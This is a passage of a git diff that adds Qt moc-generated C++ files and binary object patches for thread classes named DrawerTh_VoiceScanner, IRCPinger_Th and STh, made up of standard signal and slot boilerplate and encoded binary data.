z-lRI6Ouazz_vumg0S8I$kp8U<(_sE?uzf6GpJsb$Cu~7M`(G0l*8dsqzpbncHUF^x z1^bW2qy547;~amM?S+{lFuzAUEdEb8eh$uwkbmSN7=Ne4hmuC`aQw7}K{Ny9r^!An ze*8&aah&xLAGr+1-_P-bagywG7uyRXbw$Dl*<R{}KNHp{suVlX`!d@HhTrIC`*^@W z+AsFUs6H%Inft%Mis(OvMC@f=;oZrpW=)^jt9@P$#19lze}Zj?<!vl>qHFBOBpF*m zF#d-K3yZ&i$x8Gh+xw-J`4c?I(au%I-|h!-lw&L2cD`0@v31L>Vg_2dl45E{55uw3 zuB2GVN$QiN)~VsL-+rC&4lS;p_t=VEz%X7>`WuaL;-Iq6)Njn#sFi&2$HY1`d`#1b zsZ*Q=uozoB9W1Ylsg=DPLn*d+QdnLWQ!`;X=IisOp;f)DWWD!Gl`(@qGL|4E#a65` zUm><)mlr&22BQ68D+_pFQj(j0(6dpSSF*mksp-Kz8&P{B@H2#O(DEkx(kq0+zX@X^ z@%e)YKffb<i#9*yJLd0%cWdJ%`}+o3#NyMB;Qw|L9_Hs+g)hx>lZ{SA_?aMlW9OR1 z@1arF|6zpwTM_uX!08Fn`w{y02uI#7utApjHX8D<{_c#xM+k?XYi#c_e>p<`r-XNF z>qx!>ZYZ2LH}WC#<oyUgAEPN4*3PXF_!lDZVgx=Pf&VB1zY&4okHB})QVDB+HUc-M zYXv9d$|hBqnK7J0*&~AkS;uKKC!7%{>YQ!$ebsa5(CJkQ&UA?mpYGIDCf9rP$i!Dl z1#i@{j((9)ztl5?%1SPG)^JYdy=<T3RBAY4Q!%>-j^Kg3)hpE(aDEPJoYLJbx)0Eb zxEI(<=Y8tT;m|X-l|~Ev)<TbSaOB{@d}hoU8yL)H9N*gF9u8A8t={6fsykgNEOpfn z5*}lppDs-qE<<(u<eH8B>Dlaa3tr`{>y?($ojaU&IKAQi)U62JMnv2&P&0auj+N^r zx5%0iZmb9NZx}Z!&dK7G8s=~Z|MjdH&3k>7TEm%e8>OBRnmR+=lpsE=aHrU)Ic2w6 zoGKZPQ<!xf%Ga!#a1jl&cxDychL_15E*LZ$3)8e5mQrJ_(1{v8O_L`60~W(#+8^2? z>hdZ2stLnBYNe5eS$Cpx*4j;Sqv8~%+(yIk&drpZN_Dc9p{|aN$TZOVy|;9h?wT^W zeMd78{3?H~SeB|gSef!l^-M1Bges-I$~0B`UT9|+TP!Z~l`fPkQ^h5<p~d1dHLK8U zc(rNP3v1M#LXGaKX&0(_mC19NV~2S+qLo*!6_+{NSFAMtqju;L-BWK?{na2jvqBcQ zdV|S#0bZ#%GJJpwccM?JTK`<E<MRH5KF$=P--ytEO~diEaD~g?VNS0N17|Gp^R9-c zH5}(W5aK>fkLb%62>jq%TJW7DgMgd#2>ueupdkJ;A67WN!9|~5%ZhLU*g}us>wQ@1 zBUge)=}VpwSJ#&>Uf{S33;IESQ75?G-|ZSM{?X1I8ZKYR@bhU6?<N@(^bZ{nV&eZB zi3<#bVF><5B={Z@<Xtc4Jm}+&Oi1d1_XtQ_*T+4lkgm^HN~%h}o8U*r8Wkpfh=6}q zN&XLV1p>ZRN&XM!7zp?_CHX&nECZMSoB;LXhY0vSCHX%#%fNdzJg4E}6VM3_-_J7G zILq*JfMu{U%fLU!GT02uz(3Ej&VZ|b1R2!xjJY(<xSnU3W2n;ejCChuvVi%6M@Yt0 saFZ(}Kfv|V)AL*p9QVUQvn+@o8K+k@T%U(mG#oY;xcqhizsBW%16@EmXaE2J literal 0 HcmV?d00001 diff --git a/moc_DrawerTh_VoiceScanner.cpp b/moc_DrawerTh_VoiceScanner.cpp new file mode 100644 index 0000000..7c6d586 --- /dev/null +++ b/moc_DrawerTh_VoiceScanner.cpp @@ -0,0 +1,158 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'DrawerTh_VoiceScanner.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "DrawerTh_VoiceScanner.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'DrawerTh_VoiceScanner.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_DrawerTh_VoiceScanner_t { + QByteArrayData data[6]; + char stringdata[66]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_DrawerTh_VoiceScanner_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_DrawerTh_VoiceScanner_t qt_meta_stringdata_DrawerTh_VoiceScanner = { + { +QT_MOC_LITERAL(0, 0, 21), +QT_MOC_LITERAL(1, 22, 8), +QT_MOC_LITERAL(2, 31, 0), +QT_MOC_LITERAL(3, 32, 9), +QT_MOC_LITERAL(4, 42, 6), +QT_MOC_LITERAL(5, 49, 16) + }, + "DrawerTh_VoiceScanner\0sAddLine\0\0" + "sDrawGrid\0factor\0sDrawTextPlacers" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_DrawerTh_VoiceScanner[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 3, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 3, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 0, 29, 2, 0x06 /* Public */, + 3, 1, 30, 2, 0x06 /* Public */, + 5, 0, 33, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, + QMetaType::Void, QMetaType::Int, 4, + QMetaType::Void, + + 0 // eod +}; + +void DrawerTh_VoiceScanner::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + DrawerTh_VoiceScanner *_t = static_cast<DrawerTh_VoiceScanner *>(_o); + switch (_id) { + case 0: _t->sAddLine(); break; + case 1: _t->sDrawGrid((*reinterpret_cast< int(*)>(_a[1]))); break; + case 2: _t->sDrawTextPlacers(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (DrawerTh_VoiceScanner::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_VoiceScanner::sAddLine)) { + *result = 0; + } + } + { + typedef void (DrawerTh_VoiceScanner::*_t)(int ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_VoiceScanner::sDrawGrid)) { + *result = 1; + } + } + { + typedef void (DrawerTh_VoiceScanner::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_VoiceScanner::sDrawTextPlacers)) { + *result = 2; + } + } + } +} + +const QMetaObject DrawerTh_VoiceScanner::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_DrawerTh_VoiceScanner.data, + qt_meta_data_DrawerTh_VoiceScanner, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *DrawerTh_VoiceScanner::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *DrawerTh_VoiceScanner::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_DrawerTh_VoiceScanner.stringdata)) + return static_cast<void*>(const_cast< DrawerTh_VoiceScanner*>(this)); + return QThread::qt_metacast(_clname); +} + +int DrawerTh_VoiceScanner::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 3) + qt_static_metacall(this, _c, _id, _a); + _id -= 3; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 3) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 3; + } + return _id; +} + +// SIGNAL 0 +void DrawerTh_VoiceScanner::sAddLine() +{ + QMetaObject::activate(this, &staticMetaObject, 0, 0); +} + +// SIGNAL 1 +void DrawerTh_VoiceScanner::sDrawGrid(int _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 1, _a); +} + +// SIGNAL 2 +void DrawerTh_VoiceScanner::sDrawTextPlacers() +{ + QMetaObject::activate(this, &staticMetaObject, 2, 0); +} +QT_END_MOC_NAMESPACE diff --git a/moc_DrawerTh_VoiceScanner.o b/moc_DrawerTh_VoiceScanner.o new file mode 100644 index 0000000000000000000000000000000000000000..f8af39b6aee6d6cdf096886682c05999216b6bb8 GIT binary patch literal 8968 zcmds6Uu+yl86V%J$u$XQC*hBw(5!<2rzFR1?AT7A#g5PRIysVa?35BGS)cFD@in&3 zy<4YFkucK5g~Ls;c%ct~@&FGY9snT$Ekc1H(n=sj5l9FE?E{Fk2_h9zgxZww{buL8 z8?Ser6!F9-?aj>Z`#(D~J2N-mo9qkK)d{9L@rbCk7!~5hNUh!_t6ic=JSb(?QyV%P zRk=l#?^NZxsbsPi=Ob2mzC}3qy$Z}acOQz2^;^%Pr1owU=1b-kmtVfo@;r=JoaT+z zxdeWa%?(P-x|C>cfV@>nG&f$8wel}pE{?}m*n2)iTxoJ?d|cy`{e@ezM){38=T!NP zQ2p5-klezR`m<kwSs1I|nh>J=@Ab2<TZ@AcYtgjMy+e9h3|V_#tUvn`2r3Be%Ch$C z3s(85h?xE1rL~CQ`gg~rJ!`Q$!bu<@nd73UCPewDbeCsV?Vnn*u08HInP-hDo!2k4 z-nnz<(pvPRwHSK!1hwk7ex6#CAq7{zutoAEK>QfBmfSdx3|W<bTICxNYvGo&mm{vc zWmR65PAb2!D%TdS%&w!Zii{k;h{CG;*{b|w<hbl@<;T2m{ZI8<yF~Z!K;`xktMZ#6 zX|_QcS-3E_ap8}%Tgv|meJ)nM7A7MNBgeasT^wI3zqxVtCgJnfti>bZQivkEbNy=V z{lWjM=B;GqZ|E^;ZILS1@lxD$<oL467aFX}IvJ7TEaOv_Zz>tL?<y~kNMY;T!_o}( zfXi5P+vnaTVYk<j^h(px!8+GX^*2nlXtm{Efeg>V4^SQBW-UF8Kd50cJ8Cy+*hi_3 z2YPE%oeEz<f67!8cS)7NBbvsu8m_@&Uc>L#7!w+f*qM&13hc|7tJ(vqOcc{k=8D4; z_M?S-CO4ExPfzEHqST$uCiBxdAxaSFFXppiJe_e0!~!s!n{!f==}fLzVn?dnW%^t6 zi2eUG`+Iu!8ZG??k8C&EVx6&8V^`d4i|;W_qvdceYglQ=#dmgWN77iML3K|Z7IkwC zbq{P@7g?gghj;US$q}MamB8X!9aZSl@+hetzlmu4iD*RXA9G=W?*Rz<GqNVC7;L*M zzYqp^R<xlU8X^lq?4aj7J)rkuLXhnf>!Xpr4WTbk(Y@iYY<ybQiH%q;(*ug(=RmaK z1X*gMs+_!3CV_WH8=ekzM;puG{-}{%A8jO{8wL|p@0a!D1~*p&eu?t<*%xhiCX|Ra zJ{?X(jq;klX#6wlqXrow{e96$59x?l>CBXq9;4DJy5$7din+;j%%PzwV%fBl7O}BX zNyMsX%szTBV7MlB^`5>*$@p@~l9MhvvolILKb?2%bg`H|LqNd|!Y#@9@KAtvr3`UI zOPY`#cw5qs-m|obWeQVMxoPU9>4KAs(NNw=S!7PBFme<2criVd6S0%U0%i8Up;Ppp zH~E<AQW&p=Td9q4hIJLhWstt*iV0o+Bbwgb^iw|it#3pBF&}-*2lmTlQ2e7l`prK2 z24R>g`dUxT>U_`RW28}oR!8*#dN>xHbyF=u4N4#V4<Fp0yf%H9F!;weQm3mPzs&Rc z!de5HLHcSLVD%NTV(pXpd;Gnk+Pns`0dM{$F}yKJStLvpcME|g_S@e4M+x)u&j}gC z*U9UDgqVK*<I2CKl+naK-|PQNgh~HOjtfI|s9cX3q|)nufiOS+bISjc(nS;dC$Imn zE8P43QVL*sWu~gn?dPcC=Rab&5<Je}AF;DN#=lJ%^7p)cF{=E}fvJ(9)lvOEJyPFe z;1v}V`(ZV2|NTMfhdug2Z4mFK|2xw6%il0ukCt1=@rU)#n}39YNBmy@hVnnB^tmv& zqRKES`}v<xf+-j$LjU7D>Gj{v{vo8%dF4N@VW=9Owi)36$4#!_sFH_&^rhE-kMi&J zb6NS{sr0!ZaY<Yzl|J*id`szbn@iT?c3SCsUq3I%+<z?3@pJna>HGD6<2F~~rV>Q{ zSdv+v#}&Sv-nj>rlsW(vJpp@~zH<lq5&kHv4~sz<z7<~o_Y>ylKk^=85dGEDk6!<- z)XHDTtr4%^S;>Jv@7K<i3Rk0Bt`!!DawUc3itdMFrCmv3pA#hBOGv|cy`3k#PV=kh z9bT~t3-PR!-z?5k3HrTT$ltKothL<gPpPQW@MkoMaCMijfm97wPaR%dzbUHm!qpQ< z4MQy~N5XQ<#nq-kWBo<e_3UfRuy|jsq1D22RBC{#hF7feE+gza0uiU*%mVHilw=0$ z;AU-H@%-9JxOdHmSFAgJ_~V3c()x|prRS7=1Ik3K`?CN$uPJ%fmuEcE+e8Zu;+&CI zYUjBw!nbMTnfE<5;Z1Vob`|E7-e(Et7!)Ln#Q;0sk$7!h7)t4-06Uin-yB*imXw@4 zM^e3s77IVWdjjx5;AG27Cj#V85sv=(9`zq6=@#Ov0rKAnz+X^yc*y0Io!bHOF&b)3 z+PvfOvtQ!)a=XO%IN^T%@Z|vfYXSI=0`RK=c$kL1pWlZ9@MHk~WB~rH0Q^@0xR@$r zY~QP*SY~EM*!{^v`?{01U78)U2khXJy4m@JW7Bcf$!F}T935NJlasxvj=@7?kLNPZ zLDL-k6rpabtq06}Ds@`eM~9qbr)}p8IHFTC*%l{5ut3&|`RS85eftLp>DD%uUR5se zeqlG=8c<RP0#4~>9Fe$DLsIp|p}xMM-eG&Vdtb8Gmim;RE0v&d&5rDu>GV`SQ%l)( z6Xd1c?Kn*wMgycf`BKoexvXb9>25H8I_>0YU7tEIWUH<Yvbd*ux!9Xu#j)A$y>nbO zD|vTA_a%WhAe3Uq;P6B-m(D8Lpa2u*>Yi}-V;{{<$^jK*<i8%F2Zx-_e4%8IrAxWC z0UD+~DjYBFhG}O@1$!brot?}H+s@3TZF(Pba&QNRW~xz~Ntc}7)Pankv7ecu=~wF_ zbA?Rs5Yc35qOCIdsxRQ4HG(h8R=XO*FgR$&(H(Q?vHWRs7u8F7J2ROsm2BtCOwP_v zj~99=;o$)u6ngf%bEoNMtT)v@*o%tGa%Y@rN?u=n(#aKjQ$x0|P~6E+5!<ywb7r{O zTxKhtnaEFOYhpds<}xueGh1>BQ%cS+sMbt@Zt!X4D>(V_GrflosCi0re4>zDW~@D% zFWpr-U@>Sd&Q7~?gL{o;sa%Ei#e_b6ydS}*9RH)-#vc(xA9O#9@-wUB`vdUf3a8JT zFz8`BC53zKU(#^w)ma|rb`a#7=wbXdfJDHz(ZhJX+D~}xcPQK&5B7&3ul)W1`H=wm zlL7KS*W|G)+o9UO*5p4%ILD8DBM5QsqK9$p4?!rl)5AFL^dOJ_!WiE{b&xk-oOeK8 z{O?*kapJQb+D1vj$*h?k#_L^J+WC-%2g&oef?r*pPa?oueC!}!@Yt`O??W2S_7Nxk z+hch?xxfzkgz+Y-gS_@(69k{QlVEvZAas-WKTF2(&phwh`1}p|RtP9!K5#xOfThdh z{+UUa$GM(~_ouMKXIbzJ{15@hohcLg76cr3!AyA9AmF%nXX;cH;2jK7*`?~hSq6}$ z;d@jaMM}f>YWQOs{&5W-)$mVf_=JW(tl={n{)mQi6>)x&8&vB3jInfH@$`P?F$R|2 z&zN^ihN@uv;9=r-$GD*w+&_$SzmF<D<D8G9;j|^M(ib&czg_vJhQrp9YX4Tl^>KSc R!y(V-ux4}^5y!*H{ReAGI|l#& literal 0 HcmV?d00001 diff --git a/moc_IRCPinger_Th.cpp b/moc_IRCPinger_Th.cpp new file mode 100644 index 0000000..ccfb042 --- /dev/null +++ b/moc_IRCPinger_Th.cpp @@ -0,0 +1,141 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'IRCPinger_Th.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "IRCPinger_Th.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'IRCPinger_Th.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_IRCPinger_Th_t { + QByteArrayData data[4]; + char stringdata[42]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_IRCPinger_Th_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_IRCPinger_Th_t qt_meta_stringdata_IRCPinger_Th = { + { +QT_MOC_LITERAL(0, 0, 12), +QT_MOC_LITERAL(1, 13, 16), +QT_MOC_LITERAL(2, 30, 0), +QT_MOC_LITERAL(3, 31, 10) + }, + "IRCPinger_Th\0changeRedIRCData\0\0" + "RestartIRC" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_IRCPinger_Th[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 2, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 2, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 1, 24, 2, 0x06 /* Public */, + 3, 0, 27, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, + + 0 // eod +}; + +void IRCPinger_Th::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + IRCPinger_Th *_t = static_cast<IRCPinger_Th *>(_o); + switch (_id) { + case 0: _t->changeRedIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 1: _t->RestartIRC(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (IRCPinger_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&IRCPinger_Th::changeRedIRCData)) { + *result = 0; + } + } + { + typedef void (IRCPinger_Th::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&IRCPinger_Th::RestartIRC)) { + *result = 1; + } + } + } +} + +const QMetaObject IRCPinger_Th::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_IRCPinger_Th.data, + qt_meta_data_IRCPinger_Th, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *IRCPinger_Th::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *IRCPinger_Th::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_IRCPinger_Th.stringdata)) + return static_cast<void*>(const_cast< IRCPinger_Th*>(this)); + return QThread::qt_metacast(_clname); +} + +int IRCPinger_Th::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 2) + qt_static_metacall(this, _c, _id, _a); + _id -= 2; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 2) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 2; + } + return _id; +} + +// SIGNAL 0 +void IRCPinger_Th::changeRedIRCData(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 0, _a); +} + +// SIGNAL 1 +void IRCPinger_Th::RestartIRC() +{ + QMetaObject::activate(this, &staticMetaObject, 1, 0); +} +QT_END_MOC_NAMESPACE diff --git a/moc_IRCPinger_Th.o b/moc_IRCPinger_Th.o new file mode 100644 index 0000000000000000000000000000000000000000..a4397f021b63f4269c59786bc1f09a0fa2db8161 GIT binary patch literal 9872 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 literal 0 HcmV?d00001 diff --git a/moc_STh.cpp b/moc_STh.cpp new file mode 100644 index 0000000..bad43ed --- /dev/null +++ b/moc_STh.cpp @@ -0,0 +1,520 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'STh.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "STh.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'STh.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_STh_t { + QByteArrayData data[26]; + char stringdata[370]; +}; +#define 